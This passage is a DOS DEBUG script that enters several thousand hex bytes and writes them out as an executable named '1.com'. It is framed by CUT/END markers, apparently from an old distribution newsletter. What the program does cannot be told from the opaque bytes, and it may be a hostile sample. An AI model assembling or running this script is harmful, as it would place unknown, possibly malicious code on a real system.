e 4b7 60 33 3f 98 77 9a 1 ee a6 a3 da bc ba e9 f3 72 f4 7c c3 59 2 a6 44 a4 c8
e 4d0 c8 54 93 ce bd 69 bb b9 43 21 2c c4 ea 4a 5c 3f 75 60 f2 b4 91 ca 9 82 e3
e 4e9 a e9 a6 20 b9 76 50 ed 47 e9 fe 6d 41 34 13 2f 28 2f 4e f4 da e 3c 78 6c 
e 502 b1 79 87 45 98 a4 d4 c3 b3 29 c2 4a 8b ed a6 54 e2 1b 31 62 60 ff 2c 1d 
e 51a 21 0 15 b2 4e 5c c 2 d 83 fa a2 f3 8a 5 12 72 4a c7 44 7c 91 d4 be b a f2 
e 535 70 52 fb b4 a2 df 89 de ff c4 96 73 c9 c ed d3 c9 8e 5c dc 8e d1 3b de 8c 
e 54e 53 a2 8b f9 e9 91 dd d6 df 6e 74 d1 dd 34 60 8f 9e 32 7f 3b ec 79 a3 83 
e 566 45 78 b4 2f 1c 50 7b 7a 97 b0 9d 2d c dd 8a 26 cd 7d 8c 4c 5a 8a 4c f9 a4 
e 57f 11 f9 2c 6c 92 e9 b5 cb 56 89 8c be f6 64 fa 25 43 fa 6f e2 c8 3a 18 a8
e 597 f0 e9 f4 c2 86 e6 2b 44 67 4a b9 34 9 ed 5f 33 42 62 d4 8a 1e 5b 31 67 cd 
e 5b0 3d 71 6d 83 fd 36 20 69 ea 1 c3 e6 e6 de 99 aa 7 11 5b 59 8a 1f 43 83 52 
e 5c9 ea 5d 8c 6a 69 c7 3 eb 4e 3b 88 a5 5f b1 6e 27 5f 3 5c 28 c 9b 6c c3 f8 
e 5e2 e5 b9 d6 11 d6 8b fa 5c 8 c7 1 eb 45 db f3 6c 9f 16 46 61 51 ed df f bb 
e 5fb c0 c4 1e 64 68 98 4 79 30 94 72 df d4 cd 1f 7f 72 c6 82 2e 79 47 4e 8c 4b 
e 614 a2 c7 e2 36 df 76 fd a4 b6 4e db 96 40 3b 8b b5 d4 85 64 c6 0 2c ad 9d 27 
e 62d 14 99 82 4b bc 9 fa 94 b5 db 7c 98 eb b 13 a7 b0 79 1d 7e c5 45 aa 20 49 
e 646 be ff 9d 64 0 5d c ec 6 5 ad f2 38 6b ed 7a d6 b2 c7 2e 6a a6 12 4b ff 55 
e 660 20 3b a 77 f b9 0 9d 57 4a ad ce a4 d3 ff 1 4f fb 53 54 88 f 1 ed 4b 56 
e 67a 15 c8 dc 28 bf f2 72 d4 10 1f 99 42 69 9e 78 e2 47 82 93 31 d0 2d be 9f 
e 692 93 93 9a 1b 80 c0 10 c 53 78 a0 26 2a 96 4f 74 4b 16 c7 9c 8d ad ac fb 16 
e 6ab 15 c6 fd c9 a4 14 48 62 47 20 c9 41 ed 61 f8 9b f8 ff ba 39 50 65 87 ee 
e 6c3 bd ce 95 c0 fb a5 7e d8 cd 27 fd 2c 74 3 c1 1b 89 b9 51 d5 e3 da ef 9e 6 
e 6dc f0 aa a9 a7 fb 87 4c 5d cd ff 65 36 8c 73 6f 9 c6 78 9a b6 77 db df 81 68 
e 6f5 3b b8 ae 5d e1 af d4 e6 66 8c d6 a4 83 9f 37 3c 1 dc a2 a6 57 c2 20 1b 90 
e 70e 75 df cd a5 62 a5 36 79 fb 35 8a 9b b0 a0 a5 c3 37 6f 80 72 bc 52 30 8d 
e 726 9f 7a 64 d3 7 41 45 d8 68 97 f2 aa 1c a1 6c 7c 9d 32 7d ad 15 b1 53 e3 33 
e 73f 8a ed e9 49 d4 cf dc 96 22 37 36 11 9d 7f f0 4d e0 62 31 b1 c7 69 c4 79 
e 757 ac 20 1 e8 3c 6a 8c 32 cb 52 63 36 68 f4 10 2b 9c 21 4f df 5d 60 92 39 91 
e 770 e2 f9 c9 7d ca 48 3 3f 21 dd 6c f 23 2e 61 3a 9f ba c3 f9 4e 7 ea ed ef 
e 789 71 4a 72 3a ed 23 3d 77 b5 ed d5 1d f6 a4 99 fa ef 98 dd 2 98 80 b6 7c a3 
e 7a2 62 96 7b 8e bf 7b 81 9f 9a ce 3f 12 40 2e 25 db 84 16 dd 2e 86 f f4 b2 7e 
e 7bb 5e b4 14 6a f3 29 b1 a4 57 d5 a8 17 6f 87 a4 74 5b 9b 17 79 f1 ec 33 c8 
e 7d3 f0 1d b2 7e a8 4d 95 7f 5f 9 d5 1a 5a 45 f4 41 c6 d 3f eb 66 2a c0 e8 5b 
e 7ec 3c bd 50 ad f1 53 9d 2e 45 9a d8 7d 2c 17 a8 6e 15 48 13 39 53 ed 3d 78 
e 804 ad f 3a 65 a3 3e 2e fa ca 7 94 4a 1f b4 d8 7e 47 8a 8e de e7 7e 34 c1 69 
e 81d 7f 6a aa 66 58 18 31 24 72 13 22 34 8a 56 36 87 df c2 d 8e 3f 71 a2 5f 25 
e 836 8b 8d 4 78 fd c9 45 d1 55 79 c1 9f 13 84 1b c8 5 db 95 d0 7c 64 96 20 51 
e 84f c4 e0 5e ee 47 8a 11 ac fb 9 e0 bb 40 db 86 84 12 93 b9 c9 f2 9c 63 47 c9 
e 868 eb ad 1 3e fa 6d 3f a 64 5b 58 56 27 f ca 5d e0 30 bc 3e 10 5d ec 17 28 
e 881 85 5 51 8e 95 a3 94 3a a8 f1 96 f2 f 29 5c 97 dc 47 db 9d 6c 63 e8 e7 f0 
e 89a e4 a 70 f8 f1 47 54 d3 2d 32 7c ef bb 9a b4 1b 0 2b d6 dd e7 30 b a2 75 
e 8b3 c7 f5 d0 31 d7 d2 8a b0 ac 1c 6d 60 3a f7 c2 db 1e 6d 7 f6 8f 35 88 e5 7f 
e 8cc 3c 26 81 34 a0 32 a3 25 18 6e 73 b2 a0 f1 cb 86 61 e7 65 8b 76 98 19 6f
e 8e4 c0 62 9b a3 cc 18 5e 40 12 97 2b d0 15 79 de 19 ea df 7a 59 2f b5 d7 39 
e 8fc 52 e2 6 f1 3 a0 a5 d9 1b 88 93 4d 30 c8 2d f5 db 55 ea 85 6f a 3f dc bd 
e 915 57 15 6a a3 a3 3e 8e ad 2d da a0 ca 75 7c 57 8b c5 cb b 1d 2c 8e c6 96 2e 
e 92e 6d 59 83 7d 64 72 ca 80 2e 6 a4 ff f6 f2 d5 1e 7 4 ba 34 6e 9 86 25 aa 4e 
e 948 e0 7f f5 32 47 3e 7c 43 d8 28 c4 1c 11 1d bd 33 3 b5 ca 13 43 34 2 b1 a0 
e 961 57 ed 9d 3c 23 d4 45 b2 6e 81 6e af 3e 67 90 be 59 a5 45 34 53 46 85 d1 
e 979 25 ee 7d cb a4 db 12 c3 aa 17 61 9a fb 66 40 76 fe 3a 69 96 c0 91 14 a7 
e 991 5d cc 9f f6 73 59 ee b8 55 97 20 26 ff 99 ec 72 41 b5 27 21 6e ae 8a d0 
e 9a9 e4 d3 da 6f c4 53 c5 f8 b3 a7 a1 5d 66 93 d8 b1 89 40 23 92 c0 90 fb cb 
e 9c1 e7 6b 4e 51 0 5d 57 f7 cd 1 e2 88 bf 44 9f ef c4 33 ce fa 46 46 a1 86 b 
e 9da 7a 84 66 66 b9 2 ec 10 c6 a1 d4 c1 18 33 b1 d1 2 18 ad 2f 53 e4 b9 33 59 
e 9f3 be 3c af 80 4c 8a d5 76 c 3b a7 e2 97 94 15 75 4d 17 d5 97 cf f9 4a d0 6e 
e a0c bb 27 20 fc f1 f5 9 a8 df 4d b6 5d f0 1d 69 3b 76 35 82 a4 f3 56 64 39 5b 
e a25 6b b3 7 e7 5 8e 82 11 22 a8 1a db c8 3e 67 4a 3 7e 72 51 d6 3d 1a 1c f6 
e a3e b8 da 4b 18 8a 15 9d d0 a4 84 96 3e cd 3 f9 3a 30 f3 fb 8f 6e 2 73 eb 52 
e a57 93 95 cf dc 6f 48 fb ab d2 a9 70 b4 e2 23 8d 72 86 a8 fa 78 98 1d c5 fe 
e a6f 8a 51 88 2b b7 58 b0 ca ae 40 8a 33 32 75 1 6 c0 d4 b7 da 2a a7 bb ad f7 
e a88 48 98 5a bc d3 d1 e6 16 97 c3 80 ab 73 ac 32 11 41 1f d 5d aa 0 dc d9 6e 
e aa1 fc 30 6 ef 11 60 27 a2 5f eb 5f b9 35 8 23 4 be 10 c0 85 3e 55 b3 82 fd 
e aba f7 c3 24 9f 2d 83 94 32 36 de ff 7c 87 7f 4a 80 7 2 23 cf a4 52 eb 3e 19 
e ad3 a0 b4 a 94 1a 40 58 d9 16 6d c0 64 c4 69 ed 60 46 65 cb df 58 38 0 51 c3 
e aec ad a0 37 e4 cf ab f7 6c 24 7d 9 48 65 4a 9f 91 ad 1c 79 a4 a1 78 55 c e8 
e b05 44 5b d ef 51 bd ea 2d a7 42 57 ab 3a 4f 2 b 3 19 6a 4d 72 76 5c 97 0 6c 
e b1f c5 5d bc dd e7 81 cf 8d 34 38 50 3c 98 58 cc 41 aa 99 90 af fe 4e 96 77 
e b37 ed 54 18 ce 2c d1 5d 34 cb 79 50 ff 28 96 44 e0 51 64 6 a8 b7 6e 8c 62 c4 
e b50 66 95 81 4f 8c f6 26 ba ea 5d d2 79 b1 e4 e9 29 fc a fd b3 85 8c e6 52 dd 
e b69 33 bd 5d c7 39 ef 6 ef 9e a6 6a 61 9c 9f d5 54 b4 fa a1 d4 10 9b ff 7e 33 
e b82 11 52 99 c7 26 6e a1 36 8a ad ee 48 7a 2c 7f d5 b7 27 8a 6b 37 c 71 39 85 
e b9b 9c ba a8 a 17 b9 d0 51 56 95 c2 3b 5 a7 31 c5 8b 5c 95 6e 4c 89 6f 17 ef 
e bb4 d4 5a a 77 65 e1 49 b2 e8 72 ac 3c f0 6b 71 fa 3 c7 ca fc ad f9 55 22 ec 
e bcd 58 2f 1c fa 29 cf 73 b4 ad 51 5c f8 66 70 59 5d 70 3e d1 3f c4 eb ec f1 
e be5 7 78 6a 93 67 9f 44 fc cb 5b 95 ff 74 c0 b7 42 77 26 c9 aa 8c ed 39 a2 db 
e bfe 9c b3 eb 3d 4a 1e 9b 89 e4 d8 a8 27 74 ef a3 ed a5 24 5d bb ab d0 fe a1 
e c16 29 ab df 75 a a6 23 0 cc f1 14 72 9b 1a 55 7e e5 d1 da 98 dc c4 cf ab 34 
e c2f ba 8d de 4a 59 6 13 dd d8 44 3c e bb 56 95 ae 97 e2 3b 49 e5 9a 6b a2 53 
e c48 c1 33 35 24 1b 33 17 c3 8a 8c 12 3d 3d 4e 5b 75 22 30 67 4f a0 5d 3a 78 
e c60 88 a 11 35 7 b1 77 42 32 a8 c3 bb 20 fb 98 5 d6 ac e7 3a 63 35 90 93 9e 
e c79 44 24 2e 1b d7 8c aa 29 53 4d d9 ab eb e6 1 56 c4 fd 54 a3 bd 14 5b b0 8f 
e c92 ce be 23 24 93 c4 48 18 a3 e7 4 5 4b 78 cc 79 dd 3 56 a4 ed dd 5f 98 41 
e cab 1b 68 4c c1 bb 41 c2 1e 3e 94 8e ef 28 1e b 76 e 4f 36 b1 c 6e e2 18 17 
e cc4 20 fc 35 40 1f e4 6d a4 18 bb bc d5 9e ea 85 86 af af 63 d4 13 66 92 c4 
e cdc 2b 69 84 ca 23 2b d3 66 81 6b 81 73 26 4 85 36 21 4c 49 44 75 64 39 16 3c 
e cf5 ed e0 6d 44 75 45 30 43 68 c0 78 fc d0 17 b eb 81 3e c3 ba 1b f 4d ae c5 
e d0e 55 1f c 39 12 5d 8 65 f1 34 59 de dd 98 56 17 43 38 66 49 9a eb db c1 87 
e d27 51 38 cc b7 5f 98 fd 43 be 2d bb 74 f3 f8 f2 36 3d a4 34 a5 7e d2 26 cc 
e d3f 84 1f ea 56 f0 80 18 69 4d 88 41 fc 56 fd 41 3b 1e e 9 27 4f f6 3b 62 4e 
e d58 5a 1b 2a 4e 85 8c b2 4f 79 ef 59 4e e 73 3d bd c4 ca 60 e7 4a 47 90 b5 8 
e d71 2a f0 4e dc ba 66 ae 48 2b 31 73 a2 11 c 32 ff 54 14 77 6b d6 58 4b bf ee 
e d8a f6 6a bc dd 1 88 d da a9 f 81 24 c5 f8 72 9a db d5 c8 2a 80 a9 16 d7 c6 
e da3 b1 91 c0 a9 95 40 b5 b3 a8 2a 28 c6 92 16 ab 54 7d f8 93 5f 3a 17 c8 45 
e dbb a9 f0 e0 71 23 76 53 38 a5 a1 cc d4 f1 f2 3c 2b 46 43 a1 d5 ba e d7 19 7a 
e dd4 c2 e1 8f 67 1d d 98 9d a1 79 9d 1b 20 7f 4d e7 bf f9 ff fe aa 28 ab 8f c 
e ded 4d 50 33 e3 26 fc 3c 3 3a 2b 26 12 f7 1 8f ee 97 4c e6 6 2b d9 1f a1 4a 
e e06 77 44 d4 8b b7 3e 5e 2d 18 c3 54 68 99 a8 8d 92 96 9e 9d ab 33 38 ff b8 
e e1e ee 78 c6 7b b5 84 95 d3 6 27 ae 5d 27 38 a 38 8e f0 1 a5 96 4b d7 9b 42 
e e37 e5 6f 57 75 4c e9 78 2d 5b ec b6 d2 29 e2 a8 92 95 9c 65 2a 3e bf 8d e0 
e e4f bf b3 ac c8 e 7e 13 af 88 26 7d 48 5a c7 39 29 36 d2 90 e8 3b 3 d0 61 1a 
e e68 d2 e8 a8 f ba 8e a1 9f df 12 ab 54 7 23 98 de 62 af 4c 7e d4 fb 6b 2 6e 
e e81 40 40 37 b7 73 f2 d8 81 be 29 d2 99 c0 73 25 1a 3c 92 75 6e bd d7 79 79 
e e99 4 14 c0 4e 99 57 66 93 74 ec b0 29 7c df 61 b0 3 3a d1 c3 fa a4 f7 f 9f 
e eb2 d3 f 0 b9 2a 5a 3a c5 88 25 b8 b9 cc 82 3 57 3a e1 7b 51 75 70 a6 74 1a 
e ecb ca cb 3 18 68 ca 77 fe 1b ad cd 68 7f 36 85 fc b7 4f a0 11 da 69 fa 79 87 
e ee4 d6 b9 21 dd 3e 70 db dc 84 d4 6e d1 20 4 af f6 32 a2 8e d 54 25 fe 7 54 
e efd e 7a 74 4b a0 4b f7 f4 e8 74 22 e9 98 70 fb 25 2e f4 64 57 75 28 85 45 53 
e f16 3a 2e e2 3c 54 36 e9 29 6 67 59 43 10 7e c1 49 cd 5e f9 97 a 58 5f 8a 11 
e f2f 4f 3d 9a e2 2b 22 58 fa be fc 69 91 7a 8c 3f 77 9f c9 3b 54 26 23 93 b3 
e f47 85 de ae f5 bd c5 47 4c c4 cd 5e ad bc 8f ba 31 f6 e4 70 fb 6e a7 96 d5 
e f5f ad 10 80 39 43 97 4f 10 cc 1b 8f 8d cd 4c 63 4 d8 1e 85 70 41 6c a8 eb df 
e f78 7f 36 c5 60 a7 12 9 16 73 fe 75 3a 2d 40 29 7d aa a 5c 2 29 23 0 a6 e5 6b 
e f92 24 6d 9b 20 e5 7 cb 40 b0 38 59 9c a7 69 6a 70 d3 38 ef e2 b2 11 3e ea 2a 
e fab f9 2b 2e 43 1d 65 cf d6 1b ef 83 5a 5f e6 c5 62 16 ca 5e 4c a6 39 e4 53 
e fc3 2d 23 d2 5e 7e 15 54 8a 8 b7 3d bb 88 59 b9 9e a2 7c 42 1f a2 77 3c 5b 9 
e fdc 6d fa 8f 21 46 1a 3e ed ce 49 56 1d 29 2d 70 3 a7 6f 75 ac 1 87 ff 27 86 
e ff5 73 49 28 85 2d 97 7a 84 e 37 3d 86 10 21 4c e2 74 62 6b 51 70 8f 15 72 f3 
e 100e 81 b2 a9 9d 8a 63 ad 1b d5 aa 8a dc 96 3c e7 47 16 51 fc 87 50 9 b7 60 
e 1026 29 33 52 fb b0 df 70 c5 65 4a 60 3b c d7 a8 29 47 51 f7 8a 77 f3 99 3f 
e 103e 38 16 60 de 68 27 b2 24 7 62 a2 fd 40 86 b2 75 c3 3c 2f 3d fa 9 d9 a9 9a 
e 1057 71 3c ce 46 94 0 f9 bc 46 7f b8 2e 85 7f 7d d3 8d ea b4 63 81 59 10 bb 
e 106f 57 d0 b6 ab e1 83 74 1e 25 d5 73 78 18 b1 60 62 c f4 76 8d 17 d5 ed 23 
e 1087 23 e4 f6 32 64 5a 61 9 63 f6 92 57 d5 29 40 d6 3b ba 63 72 18 0 25 1b 7 
e 10a0 ee 7f 25 4a fa 6 74 19 46 e3 e8 89 7a c6 56 54 a7 43 13 4e bf 97 a5 6f 
e 10b8 99 2f ac 33 4d fa 58 3a 5a a a4 1a 74 62 c8 4f 3b 78 9 d7 ee 7e ee 2d 69 
e 10d1 30 40 ea 47 82 3b 85 8e 3 23 8f 74 4e 8 35 ab 74 4 1 57 d5 85 b1 6b 1e 
e 10ea f4 7d 1e d2 1e b3 fe f3 12 10 32 39 51 48 2d 6f e5 d3 a3 8c 8 8
g 
rcx
fff
n 1.com
w
q
------------------------------CUT--------------------------------------------
------------------------------END--------------------------------------------